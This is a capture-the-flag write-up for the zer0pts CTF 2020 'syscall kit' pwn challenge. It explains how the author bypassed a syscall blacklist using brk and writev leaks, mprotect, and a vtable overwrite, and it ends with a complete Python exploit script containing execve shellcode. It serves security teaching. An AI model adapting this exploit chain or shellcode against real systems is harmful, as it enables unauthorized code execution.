# [zer0pts CTF 2020] syscall kit ###### tags: `zer0pts CTF` `pwn` ## Overview We're given a 64-bit ELF made by C\+\+. The source code is attached as well. ``` $ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 115 Symbols Yes 0 0 chall ``` The program can call arbitrary system call with up to 3 arguments set, and prints the result (rax). However, the following method disables some system calls. ```c++ int Emulator::check() { if (this->rax >= 0x40000000) return 1; // x32 ABI is dangerous! if (this->rax == SYS_open) return 1; // never open files if (this->rax == SYS_openat) return 1; if (this->rax == SYS_write) return 1; // no more leak if (this->rax == SYS_read) return 1; // no more overwrite if (this->rax == SYS_sendfile) return 1; if (this->rax == SYS_execve) return 1; // of course not! if (this->rax == SYS_execveat) return 1; if (this->rax == SYS_ptrace) return 1; // may ruine the program if (this->rax == SYS_fork) return 1; if (this->rax == SYS_vfork) return 1; if (this->rax == SYS_clone) return 1; return 0; } ``` Most of the important system calls are banned. ## Solution ### Available System Calls #### mprotect Since mprotect is allowed, we will get the shell if we could put our shellcode and make it executable. However, PIE and ASLR are enabled. #### brk `brk` is a system call to change the break value of heap. `brk(0)` will return the value of break. This value points to the end of the heap, with which we can calculate the heap base. #### writev We can't use write or sendfile but we need a system call to write data. There's no such a system call which returns the libc address (as far as I know). `writev` system call is not banned. This system call writes data from a iovec struct which has the buffer and size. It's useful if we can find an iovec-like data in the heap. #### readv Similar to `writev`, we can use `readv`. ### Plan #### 1. Leaking heap base First, we leak the heap address by `brk`. There exists a member variable of Emulator in the heap because `Emulator` is `new`ed. #### 2. Leaking proc base Checking with gdb, we find `Emulator` is allocated at 0x11e60 from the top of the heap. ``` pwndbg> x/16xg 0x555555758000 + 0x11e60 0x555555769e60: 0x0000000000000000 0x0000000000000031 0x555555769e70: 0x0000555555756ce0 0x000000000000007b 0x555555769e80: 0x0000000000000001 0x0000000000000002 0x555555769e90: 0x0000000000000003 0x000000000000f171 0x555555769ea0: 0x0000000000000000 0x0000000000000000 0x555555769eb0: 0x0000000000000000 0x0000000000000000 0x555555769ec0: 0x0000000000000000 0x0000000000000000 0x555555769ed0: 0x0000000000000000 0x0000000000000000 ``` Here we can see an iovec-like structure at 0x555555769e70. At 0x555555769e78 is rax value and at 0x555555769e70 is the pointer to the vtable of Emulator. ``` pwndbg> x/16xg 0x0000555555756ce0 0x555555756ce0 <_ZTV8Emulator+16>: 0x0000555555555114 0x000055555555516e 0x555555756cf0 <_ZTV8Emulator+32>: 0x0000555555555290 0x00005555555552d8 0x555555756d00 <_ZTI8Emulator>: 0x00007ffff7dc6168 0x00005555555559a8 ``` `writev` is 20 and rax will be 20. This means we can read 20 bytes of the vtable. In this way we can calculate the proc base. #### 3. Make vtable writable We'll get RIP by overwriting vtable but vtable is only readable. So, we use `mprotect` to make it writable. This is simple because we already know the proc base. #### 4. Make heap executable We'll put a ROP gadget on the heap later. To make it available, we use `mprotect` to change the permission. #### 5. Disable Emulator::check As we made the vtable writable in 3, we can overwrite the pointer to `Emulator::check`. If we can make it a function which return 0, every system call will be available. However, there's no such useful function. So, we prepare a ROP gadget in the heap, such as `xor rax, rax; ret;` or `mov rax, 0; ret;`. As we can only put register values, I set an argument to 0xc3c03148 and now we have `xor rax, rax; ret;` in the heap. #### 6. Executing the shellcode Now `Emulator::check` is disabled! We can write shellcode by `read` or whatever and call it by overwriting the vtable. ## Exploit ```python= from ptrlib import * def syscall(n, args, recv=True): sock.sendlineafter("syscall: ", str(n)) for i in range(3): if i < len(args): sock.sendlineafter(": ", str(args[i])) else: sock.sendlineafter(": ", "0") if recv: sock.recvuntil("retval: ") return int(sock.recvline(), 16) elf = ELF("../distfiles/chall") #sock = Process("../distfiles/chall") sock = Socket("localhost", 9006) vtable = 0x202ce0 shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 1) brk(0) # Call brk(0) to leak heap base. heap = syscall(12, [0]) - 0x21000 logger.info("heap = " + hex(heap)) # 2) writev(1, heap + 0x11e70, 1) # Call writev to leak proc base. # The first 16 bytes of Emulator (vtable, rax) can be regarded as an iovec. syscall(20, [1, heap + 0x11e70, 1], recv=False) sock.recvline() proc = u64(sock.recv(8)) - elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm") logger.info("proc = " + hex(proc)) # 3) mprotect(proc + 0x202000, 0x1000, PROT_READ | PROT_WRITE) # Before overwriting the vtable, we have to make the area writable. syscall(10, [proc + 0x202000, 0x1000, 0b011]) # 4) mprotect(heap + 0x11000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) # Also we make the heap executable. # This is because we will write "xor rax, rax; ret;" gadget here. syscall(10, [heap + 0x11000, 0x1000, 0b111]) rop_xor_rax_rax_ret = heap + 0x11e90 # 5) readv(0, heap + 0x11e70, 1) # Call readv to disable Emulator::check. # Same principle as step 2, we can overwrite the vtable. payload = b'' payload += p64(proc + elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm")) payload += p64(rop_xor_rax_rax_ret) syscall(19, [0, heap + 0x11e70, 1], recv=False) sock.send(payload) # Now, arg3 is regarded as ROP gadget! # 6) read(0, heap + 0x11000, 0xc3c03148) # Write shellcode to heap. # (We can bypass Emulator::check because 0xc3c03148 == xor rax, rax; ret;) syscall(0, [0, heap + 0x11000, 0xc3c03148], recv=False) sock.send(shellcode) # 7) read(0, proc + vtable + 8, 0xc3c03148) # Call read to overwrite Emulator::check to our shellcode. payload = p64(heap + 0x11000) syscall(0, [0, proc + vtable + 8, 0xc3c03148], recv=False) sock.send(payload) # 8) get the shell! # Now Emulator::check points to our shellcode! syscall(0, [0, 0, 0], recv=False) sock.interactive() ```